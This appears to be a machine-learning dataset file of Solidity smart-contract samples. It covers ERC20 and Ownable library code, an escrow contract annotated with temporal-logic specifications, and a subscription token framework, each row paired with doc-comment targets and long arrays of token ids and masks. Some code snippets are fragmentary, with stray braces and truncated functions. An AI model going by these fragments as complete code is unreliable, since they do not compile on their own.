_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// Only used for testing Dubiex
contract DummyVanillaERC20 is ERC20, Ownable {
string public constant NAME = "Dummy";
string public constant SYMBOL = "DUMMY";
constructor() public ERC20(NAME, SYMBOL) Ownable() {}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract DummyVanillaERC721 is ERC721 {
string public constant NAME = "Vanilla ERC721";
string public constant SYMBOL = "VANILLA-";
constructor() public ERC721(NAME, SYMBOL) {}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
}
|
* @dev Returns the hash of the packed DOMAIN_SEPARATOR and `messageHash` and is used for verifying a signature./
|
function getOptInStatusPair(address accountA, address accountB)
external
view
returns (OptInStatus memory, OptInStatus memory);
function getOptInStatus(address account)
external
view
returns (OptInStatus memory);
function isOptedInBy(address _sender, address _account)
external
view
returns (bool, uint256);
}
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
}
}
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked("\x19\x01", domainSeparator, messageHash)
);
}
| 10,209,404 |
[
1,
1356,
326,
1651,
434,
326,
12456,
27025,
67,
4550,
471,
1375,
2150,
2310,
68,
471,
353,
1399,
364,
3929,
310,
279,
3372,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
28959,
382,
1482,
4154,
12,
2867,
2236,
37,
16,
1758,
2236,
38,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
6179,
382,
1482,
3778,
16,
12056,
382,
1482,
3778,
1769,
203,
203,
565,
445,
28959,
382,
1482,
12,
2867,
2236,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
6179,
382,
1482,
3778,
1769,
203,
203,
565,
445,
353,
6179,
329,
382,
858,
12,
2867,
389,
15330,
16,
1758,
389,
4631,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
16,
2254,
5034,
1769,
203,
97,
203,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
2138,
31,
203,
683,
9454,
23070,
10336,
45,
7204,
58,
22,
31,
203,
203,
97,
203,
203,
97,
203,
203,
565,
262,
2713,
16618,
1135,
261,
3890,
1578,
13,
288,
203,
3639,
327,
203,
5411,
417,
24410,
581,
5034,
12,
203,
7734,
24126,
18,
3015,
4420,
329,
31458,
92,
3657,
64,
92,
1611,
3113,
2461,
6581,
16,
883,
2310,
13,
203,
5411,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// 0xBdB39870D0bB20dF10913ACDFce100029e2715A4
/**
*Submitted for verification at Etherscan.io on 2019-07-23
*/
// Spec: L1
// LTLVariables: user:Ref
// LTLFairness: (<>(finished(RefundEscrow.deposit(payee), (payee == user)))) && (<>(finished(ConditionalEscrow.withdraw(payee), (payee == user))))
// LTLProperty: []((finished(RefundEscrow.enableRefunds)) ==> (<>(finished(send(from, to, amt), (to == user && amt == fsum(RefundEscrow.deposit(payee), 2, payee == user))))))
// Spec: L2
// LTLVariables: ben:Ref
// LTLFairness: <>(finished(RefundEscrow.deposit)) && <>(finished(RefundEscrow.beneficiaryWithdraw))
// LTLProperty: [](finished(RefundEscrow.close, (ben == RefundEscrow.beneficiary())) ==> <>(finished(send(from, to, amt), (to == ben && amt == fsum(RefundEscrow.deposit, 2)))))
// File: installed_contracts/openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: installed_contracts/openzeppelin-solidity/contracts/ownership/Secondary.sol
pragma solidity ^0.5.2;
/**
* @title Secondary
* @dev A Secondary contract can only be used by its primary account (the one that created it)
*/
contract Secondary {
address private _primary;
event PrimaryTransferred(
address recipient
);
/**
* @dev Sets the primary account to the one that is creating the Secondary contract.
*/
constructor () internal {
_primary = msg.sender;
emit PrimaryTransferred(_primary);
}
/**
* @dev Reverts if called from any account other than the primary.
*/
modifier onlyPrimary() {
require(msg.sender == _primary);
_;
}
/**
* @return the address of the primary.
*/
function primary() public view returns (address) {
return _primary;
}
/**
* @dev Transfers contract to a new primary.
* @param recipient The address of new primary.
*/
function transferPrimary(address recipient) public onlyPrimary {
require(recipient != address(0));
_primary = recipient;
emit PrimaryTransferred(_primary);
}
}
// File: installed_contracts/openzeppelin-solidity/contracts/payment/escrow/Escrow.sol
pragma solidity ^0.5.2;
/**
* @title Escrow
* @dev Base escrow contract, holds funds designated for a payee until they
* withdraw them.
* @dev Intended usage: This contract (and derived escrow contracts) should be a
* standalone contract, that only interacts with the contract that instantiated
* it. That way, it is guaranteed that all Ether will be handled according to
* the Escrow rules, and there is no need to check for payable functions or
* transfers in the inheritance tree. The contract that uses the escrow as its
* payment method should be its primary, and provide public methods redirecting
* to the escrow's deposit and withdraw.
*/
contract Escrow is Secondary {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param payee The destination address of the funds.
*/
function deposit(address payee) public payable onlyPrimary {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee.
* @param payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address payable payee) public onlyPrimary {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.transfer(payment);
emit Withdrawn(payee, payment);
}
}
// File: installed_contracts/openzeppelin-solidity/contracts/payment/escrow/ConditionalEscrow.sol
pragma solidity ^0.5.2;
/**
* @title ConditionalEscrow
* @dev Base abstract escrow to only allow withdrawal if a condition is met.
* @dev Intended usage: See Escrow.sol. Same usage guidelines apply here.
*/
contract ConditionalEscrow is Escrow {
/**
* @dev Returns whether an address is allowed to withdraw their funds. To be
* implemented by derived contracts.
* @param payee The destination address of the funds.
*/
function withdrawalAllowed(address payee) public view returns (bool);
function withdraw(address payable payee) public {
require(withdrawalAllowed(payee));
super.withdraw(payee);
}
}
// File: installed_contracts/openzeppelin-solidity/contracts/payment/escrow/RefundEscrow.sol
pragma solidity ^0.5.2;
/**
* @title RefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple
* parties.
* @dev Intended usage: See Escrow.sol. Same usage guidelines apply here.
* @dev The primary account (that is, the contract that instantiates this
* contract) may deposit, close the deposit period, and allow for either
* withdrawal by the beneficiary, or refunds to the depositors. All interactions
* with RefundEscrow will be made through the primary contract. See the
* RefundableCrowdsale contract for an example of RefundEscrow’s use.
*/
contract RefundEscrow is ConditionalEscrow {
enum State { Active, Refunding, Closed }
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private _beneficiary;
/**
* @dev Constructor.
* @param beneficiary The beneficiary of the deposits.
*/
constructor (address payable beneficiary) public {
require(beneficiary != address(0));
_beneficiary = beneficiary;
_state = State.Active;
}
/**
* @return the current state of the escrow.
*/
function state() public view returns (State) {
return _state;
}
/**
* @return the beneficiary of the escrow.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @dev Stores funds that may later be refunded.
* @param refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address refundee) public payable {
require(_state == State.Active);
super.deposit(refundee);
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public onlyPrimary {
require(_state == State.Active);
_state = State.Closed;
emit RefundsClosed();
}
/**
* @dev Allows for refunds to take place, rejecting further deposits.
*/
function enableRefunds() public onlyPrimary {
require(_state == State.Active);
_state = State.Refunding;
emit RefundsEnabled();
}
/**
* @dev Withdraws the beneficiary's funds.
*/
function beneficiaryWithdraw() public {
require(_state == State.Closed);
_beneficiary.transfer(address(this).balance);
}
/**
* @dev Returns whether refundees can withdraw their deposits (be refunded). The overridden function receives a
* 'payee' argument, but we ignore it here since the condition is global, not per-payee.
*/
function withdrawalAllowed(address) public view returns (bool) {
return _state == State.Refunding;
}
}
|
* @dev Stores the sent amount as credit to be withdrawn. @param payee The destination address of the funds./
|
function deposit(address payee) public payable onlyPrimary {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
| 5,495,950 |
[
1,
13125,
326,
3271,
3844,
487,
12896,
358,
506,
598,
9446,
82,
18,
225,
8843,
1340,
1021,
2929,
1758,
434,
326,
284,
19156,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
443,
1724,
12,
2867,
8843,
1340,
13,
1071,
8843,
429,
1338,
6793,
288,
203,
3639,
2254,
5034,
3844,
273,
1234,
18,
1132,
31,
203,
3639,
389,
323,
917,
1282,
63,
10239,
1340,
65,
273,
389,
323,
917,
1282,
63,
10239,
1340,
8009,
1289,
12,
8949,
1769,
203,
203,
3639,
3626,
4019,
538,
16261,
12,
10239,
1340,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
contract Base {
function max(uint a, uint b) returns (uint) { return a >= b ? a : b; }
function min(uint a, uint b) returns (uint) { return a <= b ? a : b; }
modifier only(address allowed) {
if (msg.sender != allowed) throw;
_;
}
///@return True if `_addr` is a contract
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) return false;
uint size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
// *************************************************
// * reentrancy handling *
// *************************************************
//@dev predefined locks (up to uint bit length, i.e. 256 possible)
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
//prevents reentrancy attacs: specific locks
uint private bitlocks = 0;
modifier noReentrancy(uint m) {
var _locks = bitlocks;
if (_locks & m > 0) throw;
bitlocks |= m;
_;
bitlocks = _locks;
}
modifier noAnyReentrancy {
var _locks = bitlocks;
if (_locks > 0) throw;
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call.
/// developer should make the caller function reentrant-safe if it use a reentrant function.
modifier reentrant { _; }
}
contract Owned is Base {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract ERC20 is Owned {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
bool public isStarted = false;
modifier onlyHolder(address holder) {
if (balanceOf(holder) == 0) throw;
_;
}
modifier isStartedOnly() {
if (!isStarted) throw;
_;
}
}
//Decision made.
// 1 - Provider is solely responsible to consider failed sub charge as an error and stop the service,
// therefore there is no separate error state or counter for that in this Token Contract.
//
// 2 - A call originated from the user (isContract(msg.sender)==false) should throw an exception on error,
// but it should return "false" on error if called from other contract (isContract(msg.sender)==true).
// Reason: thrown exception are easier to see in wallets, returned boolean values are easier to evaluate in the code of the calling contract.
//
// 3 - Service providers are responsible for firing events in case of offer changes;
// it is theirs decision to inform DApps about offer changes or not.
//
//ToDo:
// 8 - validate linking modules and deployment process: attachToken(address token) public
///@dev an base class to implement by Service Provider contract to be notified about subscription changes (in-Tx notification).
/// Additionally it contains standard events to be fired by service provider on offer changes.
/// see alse EVM events logged by subscription module.
//
contract ServiceProvider {
///@dev get human readable descriptor (or url) for this Service provider
//
function info() constant public returns(string);
///@dev called to post-approve/reject incoming single payment.
///@return `false` causes an exception and reverts the payment.
//
function onPayment(address _from, uint _value, bytes _paymentData) public returns (bool);
///@dev called to post-approve/reject subscription charge.
///@return `false` causes an exception and reverts the operation.
//
function onSubExecuted(uint subId) public returns (bool);
///@dev called to post-approve/reject a creation of the subscription.
///@return `false` causes an exception and reverts the operation.
//
function onSubNew(uint newSubId, uint offerId) public returns (bool);
///@dev called to notify service provider about subscription cancellation.
/// Provider is not able to prevent the cancellation.
///@return <<reserved for future implementation>>
//
function onSubCanceled(uint subId, address caller) public returns (bool);
///@dev called to notify service provider about subscription got hold/unhold.
///@return `false` causes an exception and reverts the operation.
//
function onSubUnHold(uint subId, address caller, bool isOnHold) public returns (bool);
///@dev following events should be used by ServiceProvider contract to notify DApps about offer changes.
/// SubscriptionModule do not this notification and expects it from Service Provider if desired.
///
///@dev to be fired by ServiceProvider on new Offer created in a platform.
event OfferCreated(uint offerId, bytes descriptor, address provider);
///@dev to be fired by ServiceProvider on Offer updated.
event OfferUpdated(uint offerId, bytes descriptor, uint oldExecCounter, address provider);
///@dev to be fired by ServiceProvider on Offer canceled.
event OfferCanceled(uint offerId, bytes descriptor, address provider);
///@dev to be fired by ServiceProvider on Offer hold/unhold status changed.
event OfferUnHold(uint offerId, bytes descriptor, bool isOnHoldNow, address provider);
} //ServiceProvider
///@notice XRateProvider is an external service providing an exchange rate from external currency to SAN token.
/// it used for subscriptions priced in other currency than SAN (even calculated and paid formally in SAN).
/// if non-default XRateProvider is set for some subscription, then the amount in SAN for every periodic payment
/// will be recalculated using provided exchange rate.
///
/// Please note, that the exchange rate fraction is (uint32,uint32) number. It should be enough to express
/// any real exchange rate volatility. Nevertheless you are advised to avoid too big numbers in the fraction.
/// Possiibly you could implement the ratio of multiple token per SAN in order to keep the average ratio around 1:1.
///
/// The default XRateProvider (with id==0) defines exchange rate 1:1 and represents exchange rate of SAN token to itself.
/// this provider is set by defalult and thus the subscription becomes nominated in SAN.
//
contract XRateProvider {
//@dev returns current exchange rate (in form of a simple fraction) from other currency to SAN (f.e. ETH:SAN).
//@dev fraction numbers are restricted to uint16 to prevent overflow in calculations;
function getRate() public returns (uint32 /*nominator*/, uint32 /*denominator*/);
//@dev provides a code for another currency, f.e. "ETH" or "USD"
function getCode() public returns (string);
}
//@dev data structure for SubscriptionModule
contract SubscriptionBase {
enum SubState {NOT_EXIST, BEFORE_START, PAID, CHARGEABLE, ON_HOLD, CANCELED, EXPIRED, FINALIZED}
enum OfferState {NOT_EXIST, BEFORE_START, ACTIVE, SOLD_OUT, ON_HOLD, EXPIRED}
string[] internal SUB_STATES = ["NOT_EXIST", "BEFORE_START", "PAID", "CHARGEABLE", "ON_HOLD", "CANCELED", "EXPIRED", "FINALIZED" ];
string[] internal OFFER_STATES = ["NOT_EXIST", "BEFORE_START", "ACTIVE", "SOLD_OUT", "ON_HOLD", "EXPIRED"];
//@dev subscription and subscription offer use the same structure. Offer is technically a template for subscription.
struct Subscription {
address transferFrom; // customer (unset in subscription offer)
address transferTo; // service provider
uint pricePerHour; // price in SAN per hour (possibly recalculated using exchange rate)
uint32 initialXrate_n; // nominator
uint32 initialXrate_d; // denominator
uint16 xrateProviderId; // id of a registered exchange rate provider
uint paidUntil; // subscription is paid until time
uint chargePeriod; // subscription can't be charged more often than this period
uint depositAmount; // upfront deposit on creating subscription (possibly recalculated using exchange rate)
uint startOn; // for offer: can't be accepted before <startOn> ; for subscription: can't be charged before <startOn>
uint expireOn; // for offer: can't be accepted after <expireOn> ; for subscription: can't be charged after <expireOn>
uint execCounter; // for offer: max num of subscriptions available ; for subscription: num of charges made.
bytes descriptor; // subscription payload (subject): evaluated by service provider.
uint onHoldSince; // subscription: on-hold since time or 0 if not onHold. offer: unused: //ToDo: to be implemented
}
struct Deposit {
uint value; // value on deposit
address owner; // usually a customer
bytes descriptor; // service related descriptor to be evaluated by service provider
}
event NewSubscription(address customer, address service, uint offerId, uint subId);
event NewDeposit(uint depositId, uint value, address sender);
event NewXRateProvider(address addr, uint16 xRateProviderId, address sender);
event DepositReturned(uint depositId, address returnedTo);
event SubscriptionDepositReturned(uint subId, uint amount, address returnedTo, address sender);
event OfferOnHold(uint offerId, bool onHold, address sender);
event OfferCanceled(uint offerId, address sender);
event SubOnHold(uint offerId, bool onHold, address sender);
event SubCanceled(uint subId, address sender);
}
///@dev an Interface for SubscriptionModule.
/// extracted here for better overview.
/// see detailed documentation in implementation module.
contract SubscriptionModule is SubscriptionBase, Base {
///@dev ***** module configuration *****
function attachToken(address token) public;
///@dev ***** single payment handling *****
function paymentTo(uint _value, bytes _paymentData, ServiceProvider _to) public reentrant returns (bool success);
function paymentFrom(uint _value, bytes _paymentData, address _from, ServiceProvider _to) public reentrant returns (bool success);
///@dev ***** subscription handling *****
///@dev some functions are marked as reentrant, even theirs implementation is marked with noReentrancy(LOCK).
/// This is intentionally because these noReentrancy(LOCK) restrictions can be lifted in the future.
// Functions would become reentrant.
function createSubscription(uint _offerId, uint _expireOn, uint _startOn) public reentrant returns (uint newSubId);
function cancelSubscription(uint subId) reentrant public;
function cancelSubscription(uint subId, uint gasReserve) reentrant public;
function holdSubscription(uint subId) public reentrant returns (bool success);
function unholdSubscription(uint subId) public reentrant returns (bool success);
function executeSubscription(uint subId) public reentrant returns (bool success);
function postponeDueDate(uint subId, uint newDueDate) public returns (bool success);
